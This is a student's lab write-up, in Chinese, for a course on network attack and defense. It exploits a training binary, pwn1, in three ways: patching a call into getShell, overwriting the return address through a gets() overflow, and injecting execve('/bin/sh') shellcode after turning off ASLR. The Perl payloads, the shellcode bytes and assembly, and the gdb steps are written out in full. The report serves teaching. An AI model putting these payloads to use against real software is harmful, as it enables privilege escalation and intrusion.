20242938 2024-2025-2 《网络攻防实践》第9次作业
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验简介
本次实验围绕 Linux 平台下的缓冲区溢出漏洞利用技术,设计了三个层次递进的攻击实践,目标是加深对程序控制流篡改、栈帧结构、Shellcode 注入与执行等核心知识的理解与掌握。实验对象为一个名为 pwn1 的可执行文件,包含存在漏洞的函数 foo 以及一个用于获取系统权限的 getShell 函数。
实验目标分为三部分:
手工修改程序流程:通过修改可执行文件中的十六进制机器码,将 main 函数中调用 foo 的指令替换为调用 getShell,实现程序启动即直接提权。
栈溢出攻击跳转到已有函数:利用 foo 函数中 gets() 输入无长度限制的漏洞,构造精确的输入字符串覆盖返回地址,使程序返回时跳转到 getShell 函数,实现远程命令执行。
Shellcode 注入与执行:在关闭 ASLR、使栈可执行的前提下,向程序注入自定义的 Shellcode,结合调试器 gdb 精确定位其内存位置,通过覆盖返回地址跳转到 Shellcode,从而手动实现提权过程。
实践过程
准备工作
首先在终端输入sudo hostname 主机名修改主机名为自己的姓名拼音

然后将pwd文件名加上自己的学号

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
先看看这个文件是干嘛的,在终端运行该文件输入什么就输出什么

在命令行中输入objdump -d 文件名 | more反汇编pwn1文件

往下翻我们可以找到与实验相关的getshell和foo函数


通过观察我们可以发现main函数中有call foo,地址是 0x8048491。e8是call 指令的操作码(opcode),表示这是一条直接近调用(relative call)。d7 ff ff ff:32位小端序(little-endian)偏移量,值为 0xffffffd7(补码表示)。 如果我们想调用getShell只需要加特定的偏移量,结果为getShell的地址就可以了。
在VSCode中下载Hex editor插件,对pwn1文件进行修改

那么如何修改呢?根据main中调用foo函数的方式,调用目标地址 = 当前指令下一条指令的地址 + 偏移量
= 0x80484ba(0x80484b5 + 5,指令长度5字节) + -41
= 0x8048491,即函数 foo 的入口地址。
getShell函数在可执行文件中的地址为0804847d,那么0804847d(getShell地址)-0x80484ba(0x80484b5 + 5,指令长度5字节)= FFFFFFC3(偏移量)=-61

所以把d7ffffff改成c3ffffff就可以了

查看反编译结果,已经可以跳转到getShell

在终端运行一下可以看到成功获取Shell权限

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
首先我们来分析一下foo函数。
08048491 <foo>:
8048491: 55 push %ebp ; 保存旧的栈帧基址
8048492: 89 e5 mov %esp,%ebp ; 设置新的栈帧基址
8048494: 83 ec 38 sub $0x38,%esp ; 分配 0x38 (56) 字节栈空间
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax ; 缓冲区地址 = ebp - 0x1c
804849a: 89 04 24 mov %eax,(%esp) ; 将缓冲区地址作为参数
804849d: e8 8e fe ff ff call 8048330 <gets@plt> ; 调用 gets 读取输入
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax ; 再次获取缓冲区地址
80484a5: 89 04 24 mov %eax,(%esp) ; 作为参数传递给 puts
80484a8: e8 93 fe ff ff call 8048340 <puts@plt> ; 输出缓冲区内容
80484ad: c9 leave ; 恢复栈帧
80484ae: c3 ret ; 返回
简单来说,foo函数有一个输入和一个输出(实验一也测试过了),攻击的思路是栈溢出攻击,通过向 foo 函数中的缓冲区输入超出其容量的数据,覆盖栈上的关键数据(如函数返回地址),从而劫持程序执行流程。具体来说,gets 函数未对输入长度做限制,导致攻击者可以输入超过 28 字节的数据,覆盖栈上保存的返回地址,将其替换为 getShell 函数的地址(0x804847d)。当 foo 函数执行完毕后,程序会跳转到 getShell 而非原返回地址,从而执行 system("/bin/sh"),获得一个 shell 权限。
那么,我们开始构造攻击指令,
1. 计算偏移量
- 缓冲区起始地址:
ebp - 0x1c(28字节)。 - 返回地址位置:
ebp + 4。 - 填充长度 =
28 + 4 = 32字节。
2. 构造Payload
- 前32字节:任意填充(如
A)。 - 目标地址:
getShell的地址0x804847d(需转为小端序\x7d\x84\x04\x08)。
根据以上要求,我们可以通过 Perl 生成一个包含 32字节填充('A') 和 getshell函数的地址(0x804847d 的小端序格式 \x7d\x84\x04\x08) 的Payload,并保存到文件 input20242938 中,随后用 xxd 以十六进制格式查看文件内容,确保Payload构造正确。
perl -e 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7d\x84\x04\x08"' > input20242938
xxd input20242938

然后我们将input20242938中的内容作为pwn20242938程序的输入,以实现缓冲区溢出攻击。
(cat input20242938;cat) | '/home/kali/Desktop/pwn20242938'

攻击成功了!
3. 注入一个自己制作的shellcode并运行这段shellcode
首先安装相关包execstack
apt-get install execstack

通过命令execstack -s pwn20242938设置堆栈为可执行状态,sudo execstack -q ./pwn20242938检查程序的栈是否被标记为可执行(X)

输入命令echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 关闭ASLR(地址空间随机化),ASLR会随机化栈地址,导致Shellcode地址难以确定。

然后我们构造ShellCode假装进行攻击,实则为了后续检测进程号和使用gdb断点debug做铺垫,使用perl生成payload文件:
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
然后input_shellcode的内容输入到pwn20242938
(cat input_shellcode; cat) | '/home/kali/Desktop/pwn20242938'

打开另一个终端查看pwn20242938的进程号
ps -ef | grep pwn20242938

检查到进程号为161188
然后打开另一个终端,使用gdb进行分析
gdb '/home/kali/Desktop/pwn20242938'
用gdb监控进程,attach 161188

disassemble foo
在最后插入端点进行调试
break *0x080484ae
c
info r esp

查看栈顶指针所在的位置,并查看该地址存放的数据为:0xffffcf5c

输入x/16x 0xffffcf5c,查看从该地址开始的 16 个字节的内容

最后计算0xffffcf5c + 0x00000004的小端序格式为\x60\xcf\xff\xff
重新修改payload构造为:
perl -e 'print "A"x32 . "\x60\xcf\xff\xff" . "\x90"x200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68" .
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1" .
"\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode
然后input_shellcode的内容输入到pwn20242938
(cat input_shellcode; cat) | '/home/kali/Desktop/pwn20242938'

终于成功了!
问题总结
1.在修改完十六进制文件试图运行时总是无法打开程序。

解决方案1:
改个名字就好了,可能是因为名字中间有空格,怪怪的。
解决方案2:
有时也会有绝对地址的问题,例如直接把文件拖到命令行界面,回车没办法打开。直接进入桌面地址然后./文件名也ok。
2.实验三无法安装execstack

解决方案:
手动下载安装包(下载链接:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb )

通过命令行安装
sudo dpkg -i '/home/kali/Desktop/execstack_0.0.20131005-1+b10_amd64.deb'

3.实验三ShellCode的构造方法
编写一段 位置无关 的汇编代码,调用 execve("/bin/sh", NULL, NULL)。
section .text
global _start
_start:
xor eax, eax ; eax = 0
push eax ; 字符串结尾的NULL
push 0x68732f2f ; "//sh"(小端序)
push 0x6e69622f ; "/bin"(小端序)
mov ebx, esp ; ebx = "/bin/sh" 的地址
mov ecx, eax ; ecx = NULL(argv)
mov edx, eax ; edx = NULL(envp)
mov al, 11 ; execve 系统调用号(11)
int 0x80 ; 触发系统调用
编译提取机器码:
nasm -f elf shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
objdump -d shellcode
得到Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80
尽管这个Shellcode无法有效攻击,但是可供gdb对进程进行检测,为后续实验内容做铺垫。
4.无法安装gdb

解决方案:
更新清华镜像得以解决。更换方法详见https://blog.csdn.net/2401_85280228/article/details/146268295
5.试验工作连续性的重要性
因为实验三需要关闭ASLR(地址空间随机化),ASLR会随机化栈地址,导致Shellcode地址难以确定。我在前一天实验三做完一半的情况下,第二天继续实验发现地址怎么都不对,
果然是因为电脑重启后要重新关闭ASLR,白忙活了一天。
解决方案:长记性了。
学习感想和体会
首先我觉得这次实验确实比前几次的要难一些,需要查阅的资料多一些,实验中遇到的问题也多了很多!但最后还是完成了。三个实验的难度也是逐级递进的,攻击的条件越来越苛刻,但还是挺好玩的!
浙公网安备 33010602011771号